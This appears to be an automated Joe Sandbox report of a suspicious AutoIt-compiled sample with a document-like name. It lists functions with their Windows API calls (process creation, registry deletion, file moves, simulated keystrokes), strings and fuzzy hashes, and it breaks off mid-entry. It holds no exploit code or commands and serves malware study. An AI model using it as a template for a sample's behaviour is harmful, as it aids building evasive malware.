Instruction Fuzzy Hash: 7D318D72240614BBEF208F51CC4AFEA3FA9EF49791F048055FE089A291DA799C42CB74

Function 00761BFA Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 308COMMON

Download Yara Rule

APIs

Part of subcall function 007184A6: __swprintf.LIBCMT ref: 007184E5
Part of subcall function 007184A6: __itow.LIBCMT ref: 00718519

Part of subcall function 00713BCF: _wcscpy.LIBCMT ref: 00713BF2

_wcstok.LIBCMT ref: 00761D6E
_wcscpy.LIBCMT ref: 00761DFD
_memset.LIBCMT ref: 00761E30

Strings

t:|p:|, xrefs: 00761E40
X, xrefs: 00761E68

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X$t:|p:|
API String ID: 774024439-2855489919
Opcode ID: e9bc4a2812e0de19b62d30aa9fa5c0257c3554f9273d92e1bfff42e5cb5f630c
Instruction ID: 66571fb3f330c7528f91816919e2deb533dc9a583bcdf87baa594ac2e4f29489
Opcode Fuzzy Hash: e9bc4a2812e0de19b62d30aa9fa5c0257c3554f9273d92e1bfff42e5cb5f630c
Instruction Fuzzy Hash: 00C18471508341DFC724EF28C889E9AB7E4BF85310F44492DF896972A2DB78ED45CB92

Function 0072B40F Relevance: 10.7, APIs: 7, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc42e3ac7c287d3754903d4b97d698f49bc4b715eb5f71999d78aca726181297
Instruction ID: 5815e53e6f98d6f045521b30dd2182a0bc4c2b42853ae972e8aa05ac461accbe
Opcode Fuzzy Hash: bc42e3ac7c287d3754903d4b97d698f49bc4b715eb5f71999d78aca726181297
Instruction Fuzzy Hash: E2719A70900559EFCB14DF98DC88EBEBB74FF85314F208159F915AA251C738AA52CFA0

Function 00772121 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 191COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0077214B
_memset.LIBCMT ref: 00772214
ShellExecuteExW.SHELL32(?), ref: 00772259

Part of subcall function 007184A6: __swprintf.LIBCMT ref: 007184E5
Part of subcall function 007184A6: __itow.LIBCMT ref: 00718519

Part of subcall function 00713BCF: _wcscpy.LIBCMT ref: 00713BF2

CloseHandle.KERNEL32(00000000), ref: 00772320
FreeLibrary.KERNEL32(00000000), ref: 0077232F

Strings

@, xrefs: 00772225

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: _memset$CloseExecuteFreeHandleLibraryShell__itow__swprintf_wcscpy
String ID: @
API String ID: 4082843840-2766056989
Opcode ID: ae733b82bfb1fbbb64ddbfc9677104d06912947009ca0571eb72eb5743ebd1d8
Instruction ID: 4ed1015e1be2feeed0b059ba86913a794b0597b23a0a6183d336cd2d5b080f4a
Opcode Fuzzy Hash: ae733b82bfb1fbbb64ddbfc9677104d06912947009ca0571eb72eb5743ebd1d8
Instruction Fuzzy Hash: EB71A371A00619DFCF14EFA8C89599EB7F5FF48310F108059E85AAB392DB38AD41CB90

Function 007547DE Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 0075481D
GetKeyboardState.USER32(?), ref: 00754832
SetKeyboardState.USER32(?), ref: 00754893
PostMessageW.USER32(?,00000101,00000010,?), ref: 007548C1
PostMessageW.USER32(?,00000101,00000011,?), ref: 007548E0
PostMessageW.USER32(?,00000101,00000012,?), ref: 00754926
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00754949

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 57ea388b8c92b4edccb3e42496ded6afc86a737b969ecae0b5303f38e9957f97
Instruction ID: 07d8bc15e46073d9051955b58f8d00dbda016f7e9c5ee7d453e650f3f9798d21
Opcode Fuzzy Hash: 57ea388b8c92b4edccb3e42496ded6afc86a737b969ecae0b5303f38e9957f97
Instruction Fuzzy Hash: 1451C2A05087D53DFB3647248C4ABFABEA95B0630AF088589E9D9468C2D7DCBDCCD750

Function 007545F9 Relevance: 10.7, APIs: 7, Instructions: 164windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00754638
GetKeyboardState.USER32(?), ref: 0075464D
SetKeyboardState.USER32(?), ref: 007546AE
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 007546DA
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 007546F7
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 0075473B
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 0075475C

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: bddf7ab53f06b269b33ebfab4c720f313d279efa55c0297e3ab5372efa78fd59
Instruction ID: 7c7cb3b706590ccc94d1dc033b4ca88ff12ad6ecedd7b3faae3c02a0f277b209
Opcode Fuzzy Hash: bddf7ab53f06b269b33ebfab4c720f313d279efa55c0297e3ab5372efa78fd59
Instruction Fuzzy Hash: DB51E5A05047D57DFB3687248C45BF67EA9AB0630AF088889E9D4468C2D3D9ECDCD750

Function 007586AE Relevance: 10.6, APIs: 7, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 007586BB
_wcsncpy.LIBCMT ref: 007586F0
_wcsncpy.LIBCMT ref: 00758722
_wcsncpy.LIBCMT ref: 00758755
_wcsncpy.LIBCMT ref: 00758797
_wcsncpy.LIBCMT ref: 007587D1
_wcsncpy.LIBCMT ref: 00758800

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: 024b5d747b754d5389a60f1ed35d7955e04c5a48dd91fbc9758099774a01b469
Instruction ID: c5461df8c47a07b443ec1aff309f6a30c1637e96b9a1b46be5916f70fa48ac67
Opcode Fuzzy Hash: 024b5d747b754d5389a60f1ed35d7955e04c5a48dd91fbc9758099774a01b469
Instruction Fuzzy Hash: 9B415F75C11214B6DB50ABF4CC8AACFB7ACEF04710F508866E915F3123EA78E25587A6

Function 00773C63 Relevance: 10.6, APIs: 7, Instructions: 100registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?,?,?), ref: 00773C92
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00773CBC
FreeLibrary.KERNEL32(00000000), ref: 00773D71

Part of subcall function 00773C63: RegCloseKey.ADVAPI32(?), ref: 00773CD9
Part of subcall function 00773C63: FreeLibrary.KERNEL32(?), ref: 00773D2B
Part of subcall function 00773C63: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00773D4E

RegDeleteKeyW.ADVAPI32(?,?), ref: 00773D16

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: 8ebbac1783b610ca600a8fd966863ebba47740b010f673437ed76f1dd6637987
Instruction ID: 42de0a0fff34772100ad3e1d78228bae74be301402c44dc6de55e8c346f9cefa
Opcode Fuzzy Hash: 8ebbac1783b610ca600a8fd966863ebba47740b010f673437ed76f1dd6637987
Instruction Fuzzy Hash: A3310971A01209FFDF259B94DC89AFEB7BCEF08340F00856AE516A2151E7789F499B60

Function 00778DD5 Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 00778DF4
GetWindowLongW.USER32(0177C7C8,000000F0), ref: 00778E27
GetWindowLongW.USER32(0177C7C8,000000F0), ref: 00778E5C
SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 00778E8E
SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 00778EB8
GetWindowLongW.USER32(00000000,000000F0), ref: 00778EC9
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00778EE3

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 03b680983bb498eb61048d50a1fc2d5ec3079f37c6f20fb5ec62127145ec9172
Instruction ID: e0ec2aff21c8d135fd9ab952b51be34636bd10ab5f8f5e388e8d5d24850b5a73
Opcode Fuzzy Hash: 03b680983bb498eb61048d50a1fc2d5ec3079f37c6f20fb5ec62127145ec9172
Instruction Fuzzy Hash: 43311531280210EFDF60CF58DC88F6537A5FB4A7A4F158166F5098B2B2CBB9AC41DB46

Function 007516F1 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00751734
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0075175A
SysAllocString.OLEAUT32(00000000), ref: 0075175D
SysAllocString.OLEAUT32(?), ref: 0075177B
SysFreeString.OLEAUT32(?), ref: 00751784
StringFromGUID2.COMBASE(?,?,00000028), ref: 007517A9
SysAllocString.OLEAUT32(?), ref: 007517B7

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 03e894581ddf869456d6157b8f51fb5472599a6aa0d7a13d2fb727f5063daa9a
Instruction ID: a0db6ab81e3e0550944e28b67c2315cf14995f9b06c16edbb56245a2ac1068a4
Opcode Fuzzy Hash: 03e894581ddf869456d6157b8f51fb5472599a6aa0d7a13d2fb727f5063daa9a
Instruction Fuzzy Hash: 0A215375600219AF9B10DBACCC88DEE73ECEB0D761B408526FD15DB251E678EC4587A4

Function 007569F9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 93filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 007131B8: GetFullPathNameW.KERNEL32(00000000,00000104,?,?), ref: 007131DA

lstrcmpiW.KERNEL32(?,?), ref: 00756A2B
_wcscmp.LIBCMT ref: 00756A49
MoveFileW.KERNEL32(?,?), ref: 00756A62

Part of subcall function 00756D6D: GetFileAttributesW.KERNEL32(?,?,00000000), ref: 00756DBA
Part of subcall function 00756D6D: GetLastError.KERNEL32 ref: 00756DC5
Part of subcall function 00756D6D: CreateDirectoryW.KERNEL32(?,00000000), ref: 00756DD9

_wcscat.LIBCMT ref: 00756AA4
SHFileOperationW.SHELL32(?), ref: 00756B0C

Strings

\*.*, xrefs: 00756A9E

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: File$AttributesCreateDirectoryErrorFullLastMoveNameOperationPath_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 2323102230-1173974218
Opcode ID: 9075d0cbda8424f730036c96867d856b706c271f2bacbfa416d630f00b9ea1e5
Instruction ID: d4882212e00c7f493fef641745dea79cb6ad8562d8437ba2ffda14efc2a94fef
Opcode Fuzzy Hash: 9075d0cbda8424f730036c96867d856b706c271f2bacbfa416d630f00b9ea1e5
Instruction Fuzzy Hash: D6313AB1D00218AADF50EFB4D845BDDB7B8AF08301F5085DAE905E3141EB789B89CF64

Function 00752FCD Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00752FE0
__wcsnicmp.LIBCMT ref: 00753001
__wcsnicmp.LIBCMT ref: 0075301B

Strings

#requireadmin, xrefs: 00752FFB
#notrayicon, xrefs: 00752FD8
#OnAutoItStartRegister, xrefs: 00753015

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 1038674560-2734436370
Opcode ID: 01581e9efea12d397e06fcf4d1cd429c236e5adbd23eec460bf02b911f7282fb
Instruction ID: 9c98adc429b76a741bf3fa700d5dda878a166b72f11077dab1285f27f01d6e69
Opcode Fuzzy Hash: 01581e9efea12d397e06fcf4d1cd429c236e5adbd23eec460bf02b911f7282fb
Instruction Fuzzy Hash: 66213A32104211BAD231B634AC0AEFB73A99F56352F504025FC4A871D3EBDD9E87C390

Function 007517C8 Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0075180D
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00751833
SysAllocString.OLEAUT32(00000000), ref: 00751836
SysAllocString.OLEAUT32 ref: 00751857
SysFreeString.OLEAUT32 ref: 00751860
StringFromGUID2.COMBASE(?,?,00000028), ref: 0075187A
SysAllocString.OLEAUT32(?), ref: 00751888

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 144185f980c8c34e785da61c46ee78be57a227804216886a8cab00309807c4b6
Instruction ID: 1bdb9d28547e35076d0fabe3cd1507cb3fb8f8919a0a0c294cce5be2709b2696
Opcode Fuzzy Hash: 144185f980c8c34e785da61c46ee78be57a227804216886a8cab00309807c4b6
Instruction Fuzzy Hash: 94213275600204AF9B209BB8CC89DAE77ECEB09371B808526FD15DB261D6B8FC458764

Function 0077A0D6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0072C619: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 0072C657
Part of subcall function 0072C619: GetStockObject.GDI32(00000011), ref: 0072C66B
Part of subcall function 0072C619: SendMessageW.USER32(00000000,00000030,00000000), ref: 0072C675

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 0077A13B
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 0077A148
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 0077A153
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 0077A162
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 0077A16E

Strings

Msctls_Progress32, xrefs: 0077A10C

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 03ad71d84c3c259e7e064dbf44dc3db07b9c6bf1cd3d73665b9b34e74d9cfdb4
Instruction ID: 3f89f5bf1c0d6c67cb701740e3e2b87fd030f801d416a6269c7f740f77663368
Opcode Fuzzy Hash: 03ad71d84c3c259e7e064dbf44dc3db07b9c6bf1cd3d73665b9b34e74d9cfdb4
Instruction Fuzzy Hash: 061198B115011DBEFF155F65CC85EEB7F6DEF08798F018115F608A6090C6769C21DBA4

Function 00734C3D Relevance: 10.5, APIs: 7, Instructions: 47threadCOMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 00734C3E

Part of subcall function 007386B5: GetLastError.KERNEL32(?,00730127,007388A3,00734673,?,?,00730127,?,0071125D,00000058,?,?), ref: 007386B7
Part of subcall function 007386B5: __calloc_crt.LIBCMT ref: 007386D8
Part of subcall function 007386B5: GetCurrentThreadId.KERNEL32 ref: 00738701
Part of subcall function 007386B5: SetLastError.KERNEL32(00000000,00730127,007388A3,00734673,?,?,00730127,?,0071125D,00000058,?,?), ref: 00738719

CloseHandle.KERNEL32(?,?,00734C1D), ref: 00734C52
__freeptd.LIBCMT ref: 00734C59
RtlExitUserThread.NTDLL(00000000,?,00734C1D), ref: 00734C61
GetLastError.KERNEL32(?,?,00734C1D), ref: 00734C91
RtlExitUserThread.NTDLL(00000000,?,?,00734C1D), ref: 00734C98
__freefls@4.LIBCMT ref: 00734CB4

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ErrorLastThread$ExitUser$CloseCurrentHandle__calloc_crt__freefls@4__freeptd__getptd_noexit
String ID:
API String ID: 1445074172-0
Opcode ID: f6a9c17afc1068fab6467553c84356fb4b158e9e28c457ae0fc0ec9cb5bc3248
Instruction ID: 4391a96e72988886eebb7c255e91f460c8b93f77ded89547770cbcf60124b848
Opcode Fuzzy Hash: f6a9c17afc1068fab6467553c84356fb4b158e9e28c457ae0fc0ec9cb5bc3248
Instruction Fuzzy Hash: 0E01BCB1401706EBE768BB74D90E909BBA5EF04315F208519F5088B253EF3DEC428AA2

Function 0077E13E Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0077E14D
_memset.LIBCMT ref: 0077E15C
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,007D3EE0,007D3F24), ref: 0077E18B
CloseHandle.KERNEL32 ref: 0077E19D

Strings

>}, xrefs: 0077E147
$?}, xrefs: 0077E156

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
